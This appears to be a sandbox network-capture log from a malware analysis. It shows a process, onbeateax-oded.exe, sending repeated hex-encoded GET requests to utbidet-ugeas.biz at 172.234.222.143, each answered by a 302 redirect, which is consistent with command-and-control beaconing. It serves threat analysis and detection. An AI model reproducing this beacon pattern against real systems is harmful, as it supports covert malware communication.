Sep 7, 2024 15:29:50.089030027 CEST	201	OUT	GET /d/N?02B26BFB78B26BFB78836BD778B26B59E2704D677EB36B3BD0B06CCD568045C24A825BD578 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:29:50.635409117 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:29:50 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02B26BFB78B26BFB78836BD778B26B59E2704D677EB36B3BD0B06CCD568045C24A825BD578 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>
Sep 7, 2024 15:29:50.851804018 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:29:50 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02B26BFB78B26BFB78836BD778B26B59E2704D677EB36B3BD0B06CCD568045C24A825BD578 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.7	49753	172.234.222.143	80	6404	C:\Windows\SysWOW64\onbeateax-oded.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:29:50.895118952 CEST	169	OUT	GET /d/N?02D069737AD069737AE1695F7AD069D1E0124FEF7CD169B3D2D26E4554E2474A48E0595D7A HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:29:51.373778105 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:29:51 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02D069737AD069737AE1695F7AD069D1E0124FEF7CD169B3D2D26E4554E2474A48E0595D7A Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.7	49754	172.234.222.143	80	6404	C:\Windows\SysWOW64\onbeateax-oded.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:29:51.384759903 CEST	201	OUT	GET /d/N?02D069737AD069737AE1695F7AD069D1E0124FEF7CD169B3D2D26E4554E2474A48E0595D7A HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:29:51.876141071 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:29:51 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02D069737AD069737AE1695F7AD069D1E0124FEF7CD169B3D2D26E4554E2474A48E0595D7A Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.7	49756	172.234.222.143	80	6404	C:\Windows\SysWOW64\onbeateax-oded.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:29:52.209079981 CEST	169	OUT	GET /d/N?0230CF84B230CF84B201CFA8B230CF2628F2E918B431CF441A32C8B29C02E1BD8000FFAAB2 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:29:52.690037966 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:29:52 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?0230CF84B230CF84B201CFA8B230CF2628F2E918B431CF441A32C8B29C02E1BD8000FFAAB2 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.7	49757	172.234.222.143	80	6404	C:\Windows\SysWOW64\onbeateax-oded.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:29:52.696084976 CEST	201	OUT	GET /d/N?0230CF84B230CF84B201CFA8B230CF2628F2E918B431CF441A32C8B29C02E1BD8000FFAAB2 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:29:53.199676991 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:29:53 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?0230CF84B230CF84B201CFA8B230CF2628F2E918B431CF441A32C8B29C02E1BD8000FFAAB2 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.7	49760	172.234.222.143	80	6404	C:\Windows\SysWOW64\onbeateax-oded.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:30:01.932085991 CEST	169	OUT	GET /d/N?029C5A06C29C5A06C2AD5A2AC29C5AA4585E7C9AC49D5AC66A9E5D30ECAE743FF0AC6A28C2 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:30:02.449225903 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:30:02 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?029C5A06C29C5A06C2AD5A2AC29C5AA4585E7C9AC49D5AC66A9E5D30ECAE743FF0AC6A28C2 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.7	49761	172.234.222.143	80	6404	C:\Windows\SysWOW64\onbeateax-oded.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:30:02.467406034 CEST	201	OUT	GET /d/N?029C5A06C29C5A06C2AD5A2AC29C5AA4585E7C9AC49D5AC66A9E5D30ECAE743FF0AC6A28C2 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:30:03.402889967 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:30:02 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?029C5A06C29C5A06C2AD5A2AC29C5AA4585E7C9AC49D5AC66A9E5D30ECAE743FF0AC6A28C2 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>
Sep 7, 2024 15:30:03.402941942 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:30:02 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?029C5A06C29C5A06C2AD5A2AC29C5AA4585E7C9AC49D5AC66A9E5D30ECAE743FF0AC6A28C2 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>
Sep 7, 2024 15:30:03.403420925 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:30:02 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?029C5A06C29C5A06C2AD5A2AC29C5AA4585E7C9AC49D5AC66A9E5D30ECAE743FF0AC6A28C2 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.7	49763	172.234.222.143	80	6404	C:\Windows\SysWOW64\onbeateax-oded.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:30:03.691984892 CEST	169	OUT	GET /d/N?02F3ED33FBF3ED33FBC2ED1FFBF3ED916131CBAFFDF2EDF353F1EA05D5C1C30AC9C3DD1DFB HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:30:04.176145077 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:30:04 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02F3ED33FBF3ED33FBC2ED1FFBF3ED916131CBAFFDF2EDF353F1EA05D5C1C30AC9C3DD1DFB Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.7	49764	172.234.222.143	80	6404	C:\Windows\SysWOW64\onbeateax-oded.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:30:04.188324928 CEST	201	OUT	GET /d/N?02F3ED33FBF3ED33FBC2ED1FFBF3ED916131CBAFFDF2EDF353F1EA05D5C1C30AC9C3DD1DFB HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:30:04.674990892 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:30:04 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02F3ED33FBF3ED33FBC2ED1FFBF3ED916131CBAFFDF2EDF353F1EA05D5C1C30AC9C3DD1DFB Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.7	49766	172.234.222.143	80	6404	C:\Windows\SysWOW64\onbeateax-oded.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:30:09.894937992 CEST	169	OUT	GET /d/N?02C33B546EC33B546EF23B786EC33BF6F4011DC868C23B94C6C13C6240F1156D5CF30B7A6E HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:30:11.292510033 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:30:10 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02C33B546EC33B546EF23B786EC33BF6F4011DC868C23B94C6C13C6240F1156D5CF30B7A6E Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>
Sep 7, 2024 15:30:11.293303967 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:30:10 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02C33B546EC33B546EF23B786EC33BF6F4011DC868C23B94C6C13C6240F1156D5CF30B7A6E Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>
Sep 7, 2024 15:30:11.294955015 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:30:10 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02C33B546EC33B546EF23B786EC33BF6F4011DC868C23B94C6C13C6240F1156D5CF30B7A6E Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.7	49767	172.234.222.143	80	6404	C:\Windows\SysWOW64\onbeateax-oded.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:30:11.308944941 CEST	201	OUT	GET /d/N?02C33B546EC33B546EF23B786EC33BF6F4011DC868C23B94C6C13C6240F1156D5CF30B7A6E HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:30:12.676616907 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:30:11 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02C33B546EC33B546EF23B786EC33BF6F4011DC868C23B94C6C13C6240F1156D5CF30B7A6E Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>
Sep 7, 2024 15:30:12.677371025 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:30:11 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02C33B546EC33B546EF23B786EC33BF6F4011DC868C23B94C6C13C6240F1156D5CF30B7A6E Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>
Sep 7, 2024 15:30:12.677736998 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:30:11 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02C33B546EC33B546EF23B786EC33BF6F4011DC868C23B94C6C13C6240F1156D5CF30B7A6E Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>
